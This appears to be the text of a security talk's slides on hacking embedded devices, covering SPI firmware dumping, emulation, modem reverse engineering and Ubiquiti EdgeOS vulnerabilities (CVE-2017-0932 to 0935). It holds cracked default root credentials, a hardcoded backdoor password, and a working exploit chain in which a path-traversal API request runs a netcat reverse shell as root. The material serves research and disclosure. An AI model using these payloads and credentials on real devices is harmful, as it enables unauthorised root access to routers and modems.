![Agenda
• Who Am I?
• General Overview
• Toolset
• Firmware Extraction
• Serial Interface
• Reverse Engineering
• UBNT Findings – CVE-2017-093[2-5]
• Conclusion](https://cdn.statically.io/img/www.slideshare.net/)
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hacking-embedded-devices.pptx
- 1. Internet of Sh*t Hacking Embedded Devices Maycon Vitali maycon at hacknroll dot com
- 2. Agenda • Who Am I? • General Overview • Toolset • Firmware Extraction • Serial Interface • Reverse Engineering • UBNT Findings – CVE-2017-093[2-5] • Conclusion
- 3. Who am I? • Senior Security Consultant @ SpiderLabs • Security Researcher @ Hack N’ Roll • Main duties: • Web Application Pentest • Network Pentest • Mobile Application Pentest (SL-TT) • ATM Pentest • Embedded Devices Pentest
- 5. General Overview • Used by 64% of organizations • Present on almost 100% of all residents. • [g]old architecture designing. • Operating System with almost no protection (80s like exploitation) • Security isn’t a “MUST DO” to developers. • Common weaknesses.
- 6. Toolset
- 7. Main Toolset • Reversing • radare2 • Firmware Extraction (SPI) • SOIC Clip • BusPirate / Raspberry Pi • flashrom • Debugging • qemu-user • gdb (target arch) • gcc-multilib • gef
- 11. SPI Extraction
- 12. SPI Extraction
- 13. Target ZHAL> ATSH FW Version : V1.13(WUK.0)b6 External Version : BR_SO_V1.13(WUK.0)b6 Bootbase Version : V1.10 | 01/18/2016 Vendor Name : MitraStar Technology Corp. Product Model : DSL-100HN-T1-NV Serial Number : ACC6629493C0 First MAC Address : ACC6629493C0 Last MAC Address : ACC6629493C3 MAC Address Quantity : 04 Default Country Code : D0 Boot Module Debug Flag : 00 Kernel Checksum : d831a525 RootFS Checksum : a4b2b045 RomFile Checksum : daa5645d Main Feature Bits : 00
- 14. SPI Pinout • CS – Chip Select • SI – Serial In • SO – Serial Out • SCLK - Clock • RESET# - Reset (not used) • VCC – Power-supply • GND - Ground MX25L12835F Datasheet
- 15. BusPirate
- 16. Using flashrom [maycon@DayOfDevil ~]$ flashrom > -p buspirate_spi:dev=/dev/buspirate,spispeed=1M > -c "MX25L12835F/MX25L12845E/MX25L12865E" > -r flash.dump flashrom v0.9.9-r1955 on Linux 4.14.7-1-ARCH (x86_64) flashrom is free software, get the code at https://flashrom.org Calibrating delay loop... OK. Found Macronix flash chip "MX25L12835F/MX25L12845E/MX25L12865E" (16384 kB, SPI) on buspirate_spi Reading flash... done
- 17. Using binwalk • -e means [e]xtrac files [maycon@DayOfDevil ~]$ binwalk –e flash.dump DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 26112 0x6600 LZMA compressed data, properties: 0x5D, ... 69600 0x10FE0 LZMA compressed data, properties: 0x5D, ... 197120 0x30200 LZMA compressed data, properties: 0x5D, ... 1372293 0x14F085 Squashfs filesystem, little endian, version 4.0, ... 8389120 0x800200 LZMA compressed data, properties: 0x5D, ... 9564293 0x91F085 Squashfs filesystem, little endian, version 4.0, ...
- 18. Binary Emulation [maycon@DayOfDevil squashfs-root]$ file bin/ls bin/ls: symbolic link to busybox [maycon@DayOfDevil squashfs-root]$ file bin/busybox bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped [maycon@DayOfDevil squashfs-root]$ file bin/ls bin/ls: symbolic link to busybox [maycon@DayOfDevil squashfs-root]$ file bin/busybox bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped [maycon@DayOfDevil squashfs-root]$ cp $(which qemu-mips-static) . [maycon@DayOfDevil squashfs-root]$ ls -la qemu-mips-static -rwxr-xr-x 1 maycon users 3289936 Feb 19 03:47 qemu-mips-static [maycon@DayOfDevil squashfs-root]$ sudo chroot . ./qemu-mips-static bin/ls bin etc proc sys usr boaroot lib qemu-mips-static tmp var dev linuxrc sbin userfs
- 20. UART Interface
- 24. Reverse Engineering # cat > /etc/passwd support:$1$$CoERg7ynjYLsj2j4glJ34.:0:0:root:/:/bin/cmdsh admin:$1$$C1ky1AR55g1vIlMrcvBNM1:0:0:root:/:/bin/sh $ ./john ./_flash.dump.extracted/squashfs-root/usr/etc/passwd Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1234 (admin) 1g 0:00:00:00 DONE 2/3 (2017-12-21 20:46) 4.545g/s 24818p/s 24818c/s 24818C/s 123456..larry Use the "--show" option to display all of the cracked passwords reliably Session completed
- 28. Reverse Engineering • puts(“Password incorrect !”); • system(…)
- 29. Reverse Engineering • puts(“Password incorrect !”); • system(…) • strcmp(…, “18vudl1b.4”);
- 32. Reversing the ATEN algorithm [maycon@DayOfDevil Vivo]$ ./aten_bypass C6629493C0 To enable DebugFlag: ZHAL> ATEN 1,10F0A563 To disable DebugFlag: ZHAL> ATEN 0,10F0A563
- 34. UBNT Findings
- 35. CVE-2017-0935 – Privilege Escalation with Session Hijacking operator@ubnt:~$ df -h Filesystem Size Used Available Use% Mounted on ubi0_0 214.9M 144.4M 65.8M 69% /root.dev aufs 214.9M 144.4M 65.8M 69% / devtmpfs 124.4M 0 124.4M 0% /dev tmpfs 124.5M 56.0K 124.4M 0% /run tmpfs 124.5M 56.0K 124.4M 0% /run tmpfs 124.5M 52.0K 124.4M 0% /var/log tmpfs 124.5M 0 124.5M 0% /tmp none 124.5M 112.0K 124.4M 0% /opt/vyatta/config operator@ubnt:~$
- 36. CVE-2017-0935 – Privilege Escalation with Session Hijacking operator@ubnt:~$ df -h Filesystem Size Used Available Use% Mounted on ubi0_0 214.9M 144.4M 65.8M 69% /root.dev aufs 214.9M 144.4M 65.8M 69% / devtmpfs 124.4M 0 124.4M 0% /dev tmpfs 124.5M 60.0K 124.4M 0% /run tmpfs 124.5M 60.0K 124.4M 0% /run tmpfs 124.5M 52.0K 124.4M 0% /var/log tmpfs 124.5M 0 124.5M 0% /tmp none 124.5M 112.0K 124.4M 0% /opt/vyatta/config unionfs 124.5M 0 124.5M 0% /opt/vyatta/config/tmp/new_config_g73ik18gms70ciap15in0mttpt0vk81b operator@ubnt:~$
- 37. CVE-2017-0934 – Privilege Escalation with Session Hijacking total 0 drwxrwxrwt 4 root root 300 Jan 1 00:07 . drwxr-xr-x 31 root root 760 Jan 1 00:00 .. srwxr-x--- 1 root root 0 Jan 1 00:00 .imi_line srw-rw---- 1 root root 0 Jan 1 00:00 .imi_show srw-rw---- 1 root root 0 Jan 1 00:00 .nsm_show srwxr-x--- 1 root root 0 Jan 1 00:00 .nsmserv srwxr-x--- 1 root root 0 Jan 1 00:00 .rib_serv srw-rw---- 1 root root 0 Jan 1 00:00 .rib_show drwxrwxr-x 2 root vyattacf 60 Jan 1 00:07 changes_only_9ckaihkfskhjt4q7t7d52c87tfvnbioi drwxr-x--- 2 root root 40 Jan 1 00:00 ifp srwxrwx--- 1 root vyattacf 0 Jan 1 00:00 ubnt.socket.cfgd srwxrwx--- 1 root www-data 0 Jan 1 00:00 ubnt.socket.cli srw-rw---- 1 root users 0 Jan 1 00:00 ubnt.socket.platd srwxrwx--- 1 root www-data 0 Jan 1 00:00 ubnt.socket.statsd srwxrwx--- 1 root www-data 0 Jan 1 00:00 ubnt.socket.sysd
- 38. CVE-2017-0933 – CSRF Bypassing “Referer:” Whitelisting Protection $ ls -la fake_www/ total 16 drwxr-xr-x 2 hnrteam users 4096 jun 15 02:08 . drwxr-xr-x 7 hnrteam users 4096 jun 15 02:03 .. -rw-r--r-- 1 hnrteam users 3847 jun 15 02:05 index.html -rw-r--r-- 1 hnrteam users 232 jun 15 02:03 lighttpd.conf server.document-root = "/home/operator/fake_www" server.port = 3000 mimetype.assign = ( ".html" => "text/html", ) index-file.names = ( "index.html" ) The content of lighttpd.conf file:
- 39. CVE-2017-0932 - Privilege Escalation using API->Feature $ cat Backdoor/wizard-run #!/bin/bash /usr/bin/nc 192.168.2.2:1337 -e /bin/bash & POST /api/edge/feature.json HTTP/1.1 Host: 192.168.2.1 Referer: https://192.168.2.1/ Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 90 Cookie: PHPSESSID=i6um09hej0ku2k5ctcp6ib56f1nrqhi7 Connection: close {"data":{"scenario":"../../../../../home/operator/Backdoor","action":"load","input":"id"}}
- 40. CVE-2017-0932 - Privilege Escalation using API->Feature $ cat Backdoor/wizard-run #!/bin/bash /usr/bin/nc 192.168.2.2:1337 -e /bin/bash & POST /api/edge/feature.json HTTP/1.1 Host: 192.168.2.1 Referer: https://192.168.2.1/ Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 90 Cookie: PHPSESSID=i6um09hej0ku2k5ctcp6ib56f1nrqhi7 Connection: close {"data":{"scenario":"../../../../../home/operator/Backdoor","action":"load","input":"id"}} $ nc -lvp 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from 192.168.2.1 44440 received! id uid=0(root) gid=102(vyattacfg) uname -a Linux ubnt 3.10.14-UBNT #1 SMP Sat Apr 22 06:38:07 PDT 2017 mips GNU/Linux
- 41. Questions?